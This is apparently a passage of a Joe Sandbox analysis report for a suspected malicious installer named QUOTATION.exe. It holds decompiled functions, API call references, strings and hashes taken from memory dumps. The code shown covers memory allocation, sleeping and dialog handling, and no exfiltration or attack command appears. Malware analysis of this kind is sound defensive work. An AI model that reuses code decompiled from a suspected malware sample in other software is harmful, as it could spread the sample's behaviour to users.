Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3bdb3c033a7d800f3f5983e71921b41162ac414239058931643885a1338ef954
Instruction ID: 7b5ccc39adf6f72de5191684d4495c6b43ffe58f78915606d69c4a7e6f44d702
Opcode Fuzzy Hash: 3bdb3c033a7d800f3f5983e71921b41162ac414239058931643885a1338ef954
Instruction Fuzzy Hash: F3B092B5684200BAEE224B40DD09F457EA2E7A4702F008024B300240B0C6B200A1DB19

Uniqueness

Uniqueness Score: -1.00%

Function 0040408A Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040408A(int _a4) {
				int _t2;

				_t2 = EnableWindow( *0x41fd04, _a4); // executed
				return _t2;
			}

0x00404094
0x0040409a

APIs

KiUserCallbackDispatcher.NTDLL(?,00403E66), ref: 00404094

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 12c11760972377b051275edfb0549e2da63da5a0a3d5c66f9a0e944dd115ee42
Instruction ID: 627edf876ec6fe827e8ded8b6e0f84c3e1bff33d3b07c91bc4a796ca35ff40dd
Opcode Fuzzy Hash: 12c11760972377b051275edfb0549e2da63da5a0a3d5c66f9a0e944dd115ee42
Instruction Fuzzy Hash: CAA00176808101ABCB029B50FF09D9ABF62ABA5705B028435E65694174C7325865FF1A

Uniqueness

Uniqueness Score: -1.00%

Function 6F602A38 Relevance: 1.4, APIs: 1, Instructions: 143
memoryCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E6F602A38(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				void* _t28;
				void* _t29;
				void* _t33;
				void* _t37;
				void* _t40;
				void* _t45;
				void* _t49;
				signed int _t56;
				void* _t61;
				void* _t70;
				intOrPtr _t72;
				signed int _t77;
				intOrPtr _t79;
				intOrPtr _t80;
				void* _t81;
				void* _t87;
				void* _t88;
				void* _t89;
				void* _t90;
				intOrPtr _t93;
				intOrPtr _t94;

				if( *0x6f604040 != 0 && E6F60297D(_a4) == 0) {
					 *0x6f604044 = _t93;
					if( *0x6f60403c != 0) {
						_t93 =  *0x6f60403c;
					} else {
						E6F602F60(E6F602977(), __ecx);
						 *0x6f60403c = _t93;
					}
				}
				_t28 = E6F6029AB(_a4);
				_t94 = _t93 + 4;
				if(_t28 <= 0) {
					L9:
					_t29 = E6F60299F();
					_t72 = _a4;
					_t79 =  *0x6f604048;
					 *((intOrPtr*)(_t29 + _t72)) = _t79;
					 *0x6f604048 = _t72;
					E6F602999();
					_t33 = VirtualAlloc(??, ??, ??, ??); // executed
					 *0x6f60401c = _t33;
					 *0x6f604020 = _t79;
					if( *0x6f604040 != 0 && E6F60297D( *0x6f604048) == 0) {
						 *0x6f60403c = _t94;
						_t94 =  *0x6f604044;
					}
					_t80 =  *0x6f604048;
					_a4 = _t80;
					 *0x6f604048 =  *((intOrPtr*)(E6F60299F() + _t80));
					_t37 = E6F60298B(_t80);
					_pop(_t81);
					if(_t37 != 0) {
						_t40 = E6F6029AB(_t81);
						if(_t40 > 0) {
							_push(_t40);
							_push(E6F6029B6() + _a4 + _v8);
							_push(E6F6029C0());
							if( *0x6f604040 <= 0 || E6F60297D(_a4) != 0) {
								_pop(_t88);
								_pop(_t45);
								__eflags =  *((intOrPtr*)(_t88 + _t45)) - 2;
								if(__eflags == 0) {
								}
								asm("loop 0xfffffff5");
							} else {
								_pop(_t89);
								_pop(_t49);
								 *0x6f60403c =  *0x6f60403c +  *(_t89 + _t49) * 4;
								asm("loop 0xffffffeb");
							}
						}
					}
					_t107 =  *0x6f604048;
					if( *0x6f604048 == 0) {
						 *0x6f60403c = 0;
					}
					E6F6029E4(_t107, _a4,  *0x6f60401c,  *0x6f604020);
					return _a4;
				}
				_push(E6F6029B6() + _a4);
				_t56 = E6F6029BC();
				_v8 = _t56;
				_t77 = _t28;
				_push(_t68 + _t56 * _t77);
				_t70 = E6F6029C8();
				_t87 = E6F6029C4();
				_t90 = E6F6029C0();
				_t61 = _t77;
				if( *((intOrPtr*)(_t90 + _t61)) == 2) {
					_push( *((intOrPtr*)(_t70 + _t61)));
				}
				_push( *((intOrPtr*)(_t87 + _t61)));
				asm("loop 0xfffffff1");
				goto L9;
			}

0x6f602a48
0x6f602a59
0x6f602a66
0x6f602a7a
0x6f602a68
0x6f602a6d
0x6f602a72
0x6f602a72
0x6f602a66
0x6f602a83
0x6f602a88
0x6f602a8e
0x6f602ad2
0x6f602ad2
0x6f602ad7
0x6f602adc
0x6f602ae2
0x6f602ae4
0x6f602aea
0x6f602af7
0x6f602af9
0x6f602afe
0x6f602b0b
0x6f602b1e
0x6f602b24
0x6f602b2a
0x6f602b2b
0x6f602b31
0x6f602b3d
0x6f602b43
0x6f602b4b
0x6f602b4c
0x6f602b4f
0x6f602b5a
0x6f602b5c
0x6f602b68
0x6f602b6e
0x6f602b76
0x6f602ba2
0x6f602ba3
0x6f602ba5
0x6f602ba9
0x6f602ba9
0x6f602bb0
0x6f602b86
0x6f602b86
0x6f602b87
0x6f602b95
0x6f602b9e
0x6f602b9e
0x6f602b76
0x6f602b5a
0x6f602bb2
0x6f602bb9
0x6f602bbb
0x6f602bbb
0x6f602bd4
0x6f602be2
0x6f602be2
0x6f602a99
0x6f602a9a
0x6f602a9f
0x6f602aa3
0x6f602aa8
0x6f602abc
0x6f602abd
0x6f602abe
0x6f602ac0
0x6f602ac5
0x6f602ac7
0x6f602ac7
0x6f602aca
0x6f602ad0
0x00000000

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 6F602AF7

Memory Dump Source

Source File: 00000002.00000002.3716779117.000000006F601000.00000020.00000001.01000000.00000005.sdmp, Offset: 6F600000, based on PE: true

Associated: 00000002.00000002.3716683348.000000006F600000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3716864165.000000006F603000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3716944501.000000006F605000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f600000_QUOTATION.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a26605bf920d5c8b2059662f5bfdffedee42778a2d134b876520d08da5cdda5b
Instruction ID: 1a2bc1f8b29bc9d5107cae9bcd0ef9928efaf857ea4851bd985d6d3b733c154f
Opcode Fuzzy Hash: a26605bf920d5c8b2059662f5bfdffedee42778a2d134b876520d08da5cdda5b
Instruction Fuzzy Hash: 78418272504704DFDF28FFA6DB80B593774FF66368F30882AD505E6181CB74A4508B58

Uniqueness

Uniqueness Score: -1.00%

Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 19
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004014D6(intOrPtr __edx) {
				long _t3;
				void* _t7;
				intOrPtr _t10;
				void* _t13;

				_t10 = __edx;
				_t3 = E00402B0A(_t7);
				 *((intOrPtr*)(_t13 - 0x10)) = _t10;
				if(_t3 <= 1) {
					_t3 = 1;
				}
				Sleep(_t3); // executed
				 *0x4237a8 =  *0x4237a8 +  *((intOrPtr*)(_t13 - 4));
				return 0;
			}

0x004014d6
0x004014d7
0x004014e0
0x004014e3
0x004014e7
0x004014e7
0x004014e9
0x004029bb
0x004029c7

APIs

Sleep.KERNELBASE(00000000), ref: 004014E9

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d9f52a12c88ee283977d5920e0d6ef8e8d30f27bfac36a8745942db4e2d1bc55
Instruction ID: 7b2de1959f7787123af4a7ca0670908521d01be6578697f59b2e727061aca9c4
Opcode Fuzzy Hash: d9f52a12c88ee283977d5920e0d6ef8e8d30f27bfac36a8745942db4e2d1bc55
Instruction Fuzzy Hash: CAD05EB3B142019BDB10DFB8AE8445F73F8E7503157604837D502F2191E2B8D9028668

Uniqueness

Uniqueness Score: -1.00%

Function 6F601215 Relevance: 1.3, APIs: 1, Instructions: 4
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6F601215() {
				void* _t1;

				_t1 = GlobalAlloc(0x40,  *0x6f60405c); // executed
				return _t1;
			}

0x6f60121d
0x6f601223

APIs

GlobalAlloc.KERNELBASE(00000040,6F601233,?,6F6012CF,-6F60404B,6F6011AB,-000000A0), ref: 6F60121D

Memory Dump Source

Source File: 00000002.00000002.3716779117.000000006F601000.00000020.00000001.01000000.00000005.sdmp, Offset: 6F600000, based on PE: true

Associated: 00000002.00000002.3716683348.000000006F600000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3716864165.000000006F603000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3716944501.000000006F605000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f600000_QUOTATION.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 192784960ae9e62aa81e9dcdec6d927cb38c41e3ae86d49933bd88eea56c2d3a
Instruction ID: d8671d88af53799511b38e50cbc0f2b8884f6cac6d480f8143a337663a15be95
Opcode Fuzzy Hash: 192784960ae9e62aa81e9dcdec6d927cb38c41e3ae86d49933bd88eea56c2d3a
Instruction Fuzzy Hash: CBA00271945A00DBFF519BE28B0BF193B21F75A722F208048E31764194C6B54430DB3D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004044FA Relevance: 26.5, APIs: 10, Strings: 5, Instructions: 274
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E004044FA(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				CHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				CHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				signed char* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed char _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				CHAR* _t146;
				intOrPtr _t147;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed char* _t160;
				struct HWND__* _t165;
				struct HWND__* _t166;
				int _t168;
				unsigned int _t197;
				void* _t205;

				_t156 = __edx;
				_t82 =  *0x41f4e0; // 0x49cc1c
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xa) + 0x424000;
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E004056DA(0x3fb, _t146);
					E00406244(_t146);
				}
				_t166 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E004056DA(0x3fb, _t146);
							if(E00405A60(_t185, _t146) == 0) {
								_v8 = 1;
							}
							E00405FDA(0x41ecd8, _t146);
							_t87 = E00406372(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E00405FDA(0x41ecd8, _t146);
								_t89 = E00405A0B(0x41ecd8);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 =  *_t89 & 0x00000000;
								}
								if(GetDiskFreeSpaceA(0x41ecd8,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t168 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x41ecd8) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x41ecd8,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E004059B9(0x41ecd8);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160 - 1;
									 *_t159 = 0x5c;
									if(_t159 != 0x41ecd8) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t168 = 0x400;
								L36:
								_t95 = E0040498E(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								_t147 =  *0x422edc; // 0x49e62e
								if( *((intOrPtr*)(_t147 + 0x10)) != _t158) {
									E00404976(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextA(_a4, _t168, 0x41ecc8);
									} else {
										E004048B1(_t168, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x4237c4 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t168) != 0) {
									_v8 = _t158;
								}
								E0040408A(0 | _v8 == _t158);
								if(_v8 == _t158) {
									_t205 =  *0x41fcf8 - _t158; // 0x0
									if(_t205 == 0) {
										E00404453();
									}
								}
								 *0x41fcf8 = _t158;
								goto L53;
							}
						}
						_t185 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t166;
							_v72 = 0x41fd08;
							_v60 = E0040484B;
							_v56 = _t146;
							_v68 = E00405FFC(_t146, 0x41fd08, _t166, 0x41f0e0, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderA(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405972(_t146);
								_t125 =  *((intOrPtr*)( *0x423714 + 0x11c));
								if( *((intOrPtr*)( *0x423714 + 0x11c)) != 0 && _t146 == "C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Ghetto") {
									E00405FFC(_t146, 0x41fd08, _t166, 0, _t125);
									if(lstrcmpiA(0x4226a0, 0x41fd08) != 0) {
										lstrcatA(_t146, 0x4226a0);
									}
								}
								 *0x41fcf8 =  *0x41fcf8 + 1;
								SetDlgItemTextA(_t166, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					} else {
						_a8 = 0x40f;
						goto L12;
					}
				} else {
					_t165 = GetDlgItem(_t166, 0x3fb);
					if(E004059DF(_t146) != 0 && E00405A0B(_t146) == 0) {
						E00405972(_t146);
					}
					 *0x422ed8 = _t166;
					SetWindowTextA(_t165, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00404068(_t166);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00404068(_t166);
					E0040409D(_t165);
					_t138 = E00406372(7);
					if(_t138 == 0) {
						L53:
						return E004040CF(_a8, _a12, _a16);
					} else {
						 *_t138(_t165, 1);
						goto L8;
					}
				}
			}

0x004044fa
0x00404500
0x00404506
0x00404513
0x00404521
0x00404524
0x0040452c
0x00404532
0x00404532
0x0040453e
0x00404541
0x004045af
0x004045b6
0x0040468d
0x00404694
0x004046a3
0x004046a3
0x004046a7
0x004046b1
0x004046be
0x004046c0
0x004046c0
0x004046ce
0x004046d5
0x004046dc
0x004046df
0x00404716
0x00404718
0x0040471e
0x00404723
0x00404727
0x00404729
0x00404729
0x00404745
0x00000000
0x00404747
0x0040474a
0x00404758
0x0040475e
0x0040475f
0x00404762
0x00404765
0x00000000
0x00404765
0x004046e1
0x004046e3
0x004046e7
0x00000000
0x00000000
0x00000000
0x00000000
0x004046e9
0x004046e9
0x004046f6
0x004046fb
0x00000000
0x00000000
0x004046ff
0x00404701
0x00404701
0x00404709
0x0040470b
0x0040470e
0x00404711
0x00404714
0x00000000
0x00000000
0x00000000
0x00000000
0x00404714
0x00404771
0x0040477b
0x0040477e
0x00404781
0x00404788
0x00404788
0x0040478a
0x0040478a
0x0040478f
0x00404791
0x00404799
0x004047a0
0x004047a2
0x004047ad
0x004047ad
0x004047a2
0x004047b4
0x004047bd
0x004047c7
0x004047cf
0x004047ea
0x004047d1
0x004047da
0x004047da
0x004047cf
0x004047ef
0x004047f4
0x004047f9
0x00404802
0x00404802
0x0040480b
0x0040480d
0x0040480d
0x00404819
0x00404821
0x00404823
0x00404829
0x0040482b
0x0040482b
0x00404829
0x00404830
0x00000000
0x00404830
0x004046df
0x00404696
0x0040469d
0x00000000
0x00000000
0x00000000
0x0040469d
0x004045bc
0x004045c5
0x004045df
0x004045e4
0x004045ee
0x004045f5
0x00404601
0x00404604
0x00404607
0x0040460e
0x00404616
0x00404619
0x0040461d
0x00404624
0x0040462c
0x00404686
0x0040462e
0x0040462f
0x00404636
0x00404640
0x00404648
0x00404655
0x00404669
0x0040466d
0x0040466d
0x00404669
0x00404672
0x0040467f
0x0040467f
0x0040462c
0x00000000
0x004045e4
0x004045d2
0x00000000
0x004045d8
0x004045d8
0x00000000
0x004045d8
0x00404543
0x00404550
0x00404559
0x00404566
0x00404566
0x0040456d
0x00404573
0x0040457c
0x0040457f
0x00404582
0x0040458a
0x0040458d
0x00404590
0x00404596
0x0040459d
0x004045a4
0x00404836
0x00404848
0x004045aa
0x004045ad
0x00000000
0x004045ad
0x004045a4

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404549
SetWindowTextA.USER32(00000000,?), ref: 00404573
SHBrowseForFolderA.SHELL32(?,0041F0E0,?), ref: 00404624
CoTaskMemFree.OLE32(00000000), ref: 0040462F
lstrcmpiA.KERNEL32(Call,Sepad149: Installing), ref: 00404661
lstrcatA.KERNEL32(?,Call), ref: 0040466D
SetDlgItemTextA.USER32(?,000003FB,?), ref: 0040467F

Part of subcall function 004056DA: GetDlgItemTextA.USER32(?,?,00000400,004046B6), ref: 004056ED

Part of subcall function 00406244: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\QUOTATION.exe",76B43410,C:\Users\user\AppData\Local\Temp\,00000000,00403210,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403447,?,00000006,00000008,0000000A), ref: 0040629C
Part of subcall function 00406244: CharNextA.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004062A9
Part of subcall function 00406244: CharNextA.USER32(?,"C:\Users\user\Desktop\QUOTATION.exe",76B43410,C:\Users\user\AppData\Local\Temp\,00000000,00403210,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403447,?,00000006,00000008,0000000A), ref: 004062AE
Part of subcall function 00406244: CharPrevA.USER32(?,?,76B43410,C:\Users\user\AppData\Local\Temp\,00000000,00403210,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403447,?,00000006,00000008,0000000A), ref: 004062BE

GetDiskFreeSpaceA.KERNEL32(0041ECD8,?,?,0000040F,?,0041ECD8,0041ECD8,?,00000001,0041ECD8,?,?,000003FB,?), ref: 0040473D
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404758

Part of subcall function 004048B1: lstrlenA.KERNEL32(Sepad149: Installing,Sepad149: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004047CC,000000DF,00000000,00000400,?), ref: 0040494F
Part of subcall function 004048B1: wsprintfA.USER32 ref: 00404957
Part of subcall function 004048B1: SetDlgItemTextA.USER32(?,Sepad149: Installing), ref: 0040496A

Strings

.I, xrefs: 004047B4
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto, xrefs: 0040464A
A, xrefs: 0040461D
Call, xrefs: 0040465B, 00404660, 0040466B
Sepad149: Installing, xrefs: 004045F7, 0040465A

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: .I$A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto$Call$Sepad149: Installing
API String ID: 2624150263-2491986423
Opcode ID: 0f165c49e2d917f5e6a894268aac4f35a0a20fd2ca942178d6907e18a15d5205
Instruction ID: a574bab901635a86c0a25b0ea1efcbf713871747dcedb108b051a9d89a4042ab
Opcode Fuzzy Hash: 0f165c49e2d917f5e6a894268aac4f35a0a20fd2ca942178d6907e18a15d5205
Instruction Fuzzy Hash: E9A16FB1900219ABDB11EFA5CD41AAFB7B8EF85315F10843BF601B62D1D77C8A418F69

Uniqueness

Uniqueness Score: -1.00%

Function 00404A6D Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 489
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00404A6D(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed char* _v32;
				int _v36;
				signed int _v44;
				int _v48;
				signed int* _v60;
				signed char* _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t203;
				void* _t205;
				intOrPtr _t206;
				intOrPtr _t208;
				long _t212;
				signed int _t216;
				signed int _t227;
				void* _t230;
				void* _t231;
				int _t237;
				long _t242;
				long _t243;
				signed int _t244;
				signed int _t250;
				signed int _t252;
				signed char _t253;
				signed char _t259;
				void* _t264;
				void* _t266;
				signed char* _t284;
				signed char _t285;
				long _t287;
				long _t290;
				void* _t291;
				signed int _t300;
				signed int _t308;
				void* _t309;
				void* _t310;
				signed char* _t316;
				int _t320;
				int _t321;
				signed int* _t322;
				int _t323;
				long _t324;
				signed int _t325;
				long _t327;
				int _t328;
				signed int _t329;
				void* _t331;

				_v12 = GetDlgItem(_a4, 0x3f9);
				_v8 = GetDlgItem(_a4, 0x408);
				_t331 = SendMessageA;
				_v24 =  *0x423748;
				_v28 =  *0x423714 + 0x94;
				_t320 = 0x10;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t298 = _a16;
					} else {
						_a12 = 0;
						_t298 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t298;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t298 + 4)) == 0x408) {
							if(( *0x42371d & 0x00000002) != 0) {
								L41:
								if(_v16 != 0) {
									_t242 = _v16;
									if( *((intOrPtr*)(_t242 + 8)) == 0xfffffe6e) {
										SendMessageA(_v8, 0x419, 0,  *(_t242 + 0x5c));
									}
									_t243 = _v16;
									if( *((intOrPtr*)(_t243 + 8)) == 0xfffffe6a) {
										_t298 = _v24;
										_t244 =  *(_t243 + 0x5c);
										if( *((intOrPtr*)(_t243 + 0xc)) != 2) {
											 *(_t244 * 0x418 + _t298 + 8) =  *(_t244 * 0x418 + _t298 + 8) & 0xffffffdf;
										} else {
											 *(_t244 * 0x418 + _t298 + 8) =  *(_t244 * 0x418 + _t298 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t298 = 0 | _a8 != 0x00000413;
								_t250 = E004049BB(_v8, _a8 != 0x413);
								_t325 = _t250;
								if(_t325 >= 0) {
									_t99 = _v24 + 8; // 0x8
									_t298 = _t250 * 0x418 + _t99;
									_t252 =  *_t298;
									if((_t252 & 0x00000010) == 0) {
										if((_t252 & 0x00000040) == 0) {
											_t253 = _t252 ^ 0x00000001;
										} else {
											_t259 = _t252 ^ 0x00000080;
											if(_t259 >= 0) {
												_t253 = _t259 & 0x000000fe;
											} else {
												_t253 = _t259 | 0x00000001;
											}
										}
										 *_t298 = _t253;
										E0040117D(_t325);
										_a12 = _t325 + 1;
										_a16 =  !( *0x42371c) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t298 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageA(_v8, 0x200, 0, 0);
							}
							if(_a8 == 0x40b) {
								_t230 =  *0x41fcec; // 0x0
								if(_t230 != 0) {
									ImageList_Destroy(_t230);
								}
								_t231 =  *0x41fd00; // 0x0
								if(_t231 != 0) {
									GlobalFree(_t231);
								}
								 *0x41fcec = 0;
								 *0x41fd00 = 0;
								 *0x423780 = 0;
							}
							if(_a8 != 0x40f) {
								L88:
								if(_a8 == 0x420 && ( *0x42371d & 0x00000001) != 0) {
									_t321 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t321);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t321);
								}
								goto L91;
							} else {
								E004011EF(_t298, 0, 0);
								_t203 = _a12;
								if(_t203 != 0) {
									if(_t203 != 0xffffffff) {
										_t203 = _t203 - 1;
									}
									_push(_t203);
									_push(8);
									E00404A3B();
								}
								if(_a16 == 0) {
									L75:
									E004011EF(_t298, 0, 0);
									_t205 =  *0x41fd00; // 0x0
									_v36 = _t205;
									_t206 =  *0x423748;
									_v64 = 0xf030;
									_v24 = 0;
									if( *0x42374c <= 0) {
										L86:
										InvalidateRect(_v8, 0, 1);
										_t208 =  *0x422edc; // 0x49e62e
										if( *((intOrPtr*)(_t208 + 0x10)) != 0) {
											E00404976(0x3ff, 0xfffffffb, E0040498E(5));
										}
										goto L88;
									}
									_t322 = _t206 + 8;
									do {
										_t212 =  *((intOrPtr*)(_v36 + _v24 * 4));
